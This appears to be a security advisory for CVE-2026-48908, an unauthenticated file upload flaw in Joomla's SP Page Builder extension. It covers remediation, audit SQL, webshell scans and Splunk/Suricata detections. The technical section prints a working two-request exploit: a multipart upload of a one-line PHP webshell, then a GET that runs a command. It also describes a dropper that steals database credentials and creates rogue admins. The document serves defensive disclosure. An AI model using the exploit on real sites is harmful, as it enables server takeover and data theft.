Background
SP Page Builder is a popular drag-and-drop page building extension for the Joomla content management system, developed by JoomShaper. It is one of the most widely installed third-party Joomla extensions, used to build landing pages, section layouts, and full website templates without custom code. Censys enumeration at the time of disclosure identified approximately 194,793 publicly reachable web properties with SP Page Builder installed — a large exposed population for a critical unauthenticated vulnerability.
CVE-2026-48908 is an unrestricted file upload vulnerability in the SP Page Builder icon font asset upload handler. The endpoint asset.uploadCustomIcon is accessible without authentication on any Joomla site with SP Page Builder installed and enabled. An attacker can upload a PHP file with no session, no Joomla user account, and no administrator access, then request the uploaded file to achieve remote code execution.
CISA added CVE-2026-48908 to the Known Exploited Vulnerabilities catalogue with a July 10, 2026 remediation deadline. Active exploitation has been documented including a multi-stage persistence mechanism that creates rogue Joomla Super User administrator accounts.
Technical Mechanism
The vulnerable endpoint is the custom icon font uploader in SP Page Builder’s asset management system. The component allows site builders to upload custom icon font sets for use in page layouts. The handler at asset.uploadCustomIcon accepts multipart file uploads and writes the uploaded content to:
/media/com_sppagebuilder/assets/iconfont/[folder-name]/fonts/
Under vulnerable versions, the handler performs no validation of the uploaded file’s content type, extension, or magic bytes. An attacker supplies a PHP file with any filename, and the server writes it directly to the target path. The upload directory is web-accessible, meaning the attacker can immediately request the uploaded file and trigger PHP execution.
# Step 1: Upload PHP webshell via unauthenticated asset.uploadCustomIcon endpoint
# No CSRF token, no authentication, no session required
POST /index.php?option=com_sppagebuilder&view=api&format=json&task=asset.uploadCustomIcon HTTP/1.1
Host: target.joomla-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="icon.php"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="folder"
attacker_folder
------WebKitFormBoundary7MA4YWxkTrZu0gW--
# Response (200 OK): {"success":true,"data":{"file":"icon.php","folder":"attacker_folder"}}
# Step 2: Execute the uploaded webshell
GET /media/com_sppagebuilder/assets/iconfont/attacker_folder/fonts/icon.php?cmd=id HTTP/1.1
Host: target.joomla-site.com
# Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)
A public proof-of-concept was published at github.com/papageo75/CVE-2026-48908-PoC following disclosure, automating the upload and execution steps. The automation makes exploitation trivial even for attackers with no prior knowledge of the vulnerability mechanism.
Persistence mechanism. Observed exploitation in the wild includes a dropper that executes from the initial webshell and implements a two-stage persistence:
- The dropper reads
configuration.phpfrom the Joomla root, extracting database hostname, name, username, and password - Using the extracted credentials, the dropper connects directly to the Joomla database and inserts a new Super User record, using a distinctive email pattern of
[random]@secure.local - The rogue Super User account provides persistent administrative access that survives PHP webshell cleanup and service restarts
The @secure.local email domain in Joomla’s #__users table is the primary forensic indicator of this specific exploitation campaign.
Real-World Exploitation Evidence
CISA’s KEV addition confirms active exploitation at scale. The public PoC accelerated the attack timeline significantly, enabling automated exploitation of vulnerable SP Page Builder installations. Given 194,793 exposed instances, even low-rate scanning campaigns encounter large numbers of vulnerable targets.
Incident response findings from active intrusions include:
- PHP webshells with randomised names placed in the iconfont asset directory
- Rogue Super User accounts with
@secure.localemail addresses indicating automated dropper execution - Outbound beacon traffic establishing C2 channels, typically within minutes of successful exploitation
- Installation of cryptocurrency mining software as secondary payload on compromised servers
- Data staging in
/tmpor/var/tmpdirectories prior to exfiltration
The combination of a public PoC, a large number of exposed instances, and a simple two-step exploit makes this vulnerability exceptionally attractive for automated exploitation campaigns.
Impact Assessment
- Unauthenticated RCE — any internet-connected Joomla site running a vulnerable SP Page Builder version is exploitable with no credentials
- Full Joomla compromise — the dropper’s rogue admin account creation gives the attacker complete control of the Joomla backend regardless of whether the initial webshell is found and removed
- Database credential exposure — Joomla’s
configuration.phpcontains database credentials readable by the web server process; these are harvested in automated exploitation - Downstream database access — extracted database credentials provide direct access to the Joomla database, including all user data, password hashes, and content
- Persistent access — the
@secure.localSuper User account survives patching if not detected and removed - Site defacement and malware distribution — compromised Joomla sites are commonly used for SEO spam injection and drive-by malware distribution targeting site visitors
Affected Versions
| Product | Affected Versions | Fixed Version |
|---|---|---|
| JoomShaper SP Page Builder | All versions before 5.3.2 | 5.3.2 |
| JoomShaper SP Page Builder | 4.x branch (all) | No fix; upgrade to 5.3.2 |
Remediation Steps
- Update SP Page Builder to version 5.3.2 via the Joomla Extension Manager:
# Via Joomla CLI (Joomla 4.x and 5.x)
php cli/joomla.php extension:update
# Or download and install manually from JoomShaper
# Extensions > Manage > Update > Find Updates
- Audit for rogue Super User accounts — immediately check the Joomla user database for accounts with
@secure.localor unusual email domains created after the vulnerability disclosure date:
-- Check for rogue admin accounts via Joomla database (MySQL)
SELECT u.id, u.name, u.username, u.email, u.registerDate, u.lastvisitDate
FROM jos_users u
JOIN jos_user_usergroup_map m ON u.id = m.user_id
JOIN jos_usergroups g ON m.group_id = g.id
WHERE g.title = 'Super Users'
ORDER BY u.registerDate DESC;
-- Flag accounts with suspicious email domains
SELECT * FROM jos_users
WHERE email LIKE '%@secure.local'
OR email LIKE '%@localhost'
OR email REGEXP '^[a-z0-9]{8,}@[a-z]{3,8}\.(local|internal|corp)$'
ORDER BY registerDate DESC;
- Scan for webshells in the iconfont directory:
# Find PHP files in the SP Page Builder asset directories
find /var/www/html/media/com_sppagebuilder/ -name "*.php" -type f
# Find files with common webshell patterns
grep -r --include="*.php" "system\s*(\|exec\s*(\|passthru\s*(\|shell_exec\s*(\|eval\s*(\$_" \
/var/www/html/media/com_sppagebuilder/
# Check modification timestamps for recently created files
find /var/www/html/media/com_sppagebuilder/ -newer /var/www/html/configuration.php -name "*.php"
-
Rotate database credentials — if exploitation is confirmed or suspected, change all database passwords referenced in
configuration.phpimmediately and revoke any direct database access from the web server process beyond what Joomla requires -
Review Joomla session logs — check
#__sessiontable and administrator access logs for sessions associated with rogue Super User accounts; revoke all active sessions for compromised accounts -
Temporarily block the vulnerable endpoint at the WAF or web server layer as a pre-patch mitigation:
# Nginx: block asset uploadCustomIcon endpoint
location ~* "option=com_sppagebuilder.*task=asset\.uploadCustomIcon" {
deny all;
return 403;
}
Detection Guidance
Look for the following indicators of compromise in web server logs, filesystem activity, and database records:
- POST requests to
/index.phpwithoption=com_sppagebuilder&view=api&format=json&task=asset.uploadCustomIcon - PHP files appearing under
/media/com_sppagebuilder/assets/iconfont/*/fonts/ - Database records in
#__userswith email addresses matching*@secure.localor similar internal domain patterns configuration.phpaccess from non-Joomla processes (indicates dropper reading DB credentials)- Outbound connections from the web server process to external IPs on ports 443, 80, 4444 shortly after a POST to the upload endpoint
# Splunk — detect uploads to SP Page Builder vulnerable endpoint
index=webserver sourcetype=access_combined
| where match(uri_query, "(?i)option=com_sppagebuilder.*task=asset\.uploadCustomIcon") AND method="POST"
| stats count, values(src_ip) as source_ips, min(_time) as first_seen, max(_time) as last_seen by host
| where count > 0
| sort -count
# Suricata — detect exploitation attempt against SP Page Builder
alert http any any -> $HTTP_SERVERS any (msg:"CVE-2026-48908 JoomShaper SP Page Builder Unauthenticated File Upload"; flow:established,to_server; content:"POST"; http_method; content:"com_sppagebuilder"; http_uri; content:"uploadCustomIcon"; http_uri; content:"Content-Disposition"; http_client_body; pcre:"/filename=\"[^\"]+\.php\"/i"; http_client_body; sid:2026489081; rev:1;)
alert http any any -> $HTTP_SERVERS any (msg:"CVE-2026-48908 JoomShaper Webshell Access - iconfont Directory"; flow:established,to_server; content:"/media/com_sppagebuilder/assets/iconfont/"; http_uri; content:".php"; http_uri; sid:2026489082; rev:1;)
Timeline
| Date | Event |
|---|---|
| 2026 (approx. June) | Vulnerability identified and reported to JoomShaper |
| 2026-06-28 | JoomShaper SP Page Builder 5.3.2 released with fix |
| 2026-06-28 | CVE-2026-48908 assigned and published |
| 2026-06-29 | Public PoC published at github.com/papageo75/CVE-2026-48908-PoC |
| 2026-07-03 | CISA adds CVE-2026-48908 to Known Exploited Vulnerabilities catalogue |
| 2026-07-10 | CISA federal remediation deadline (BOD 22-01) |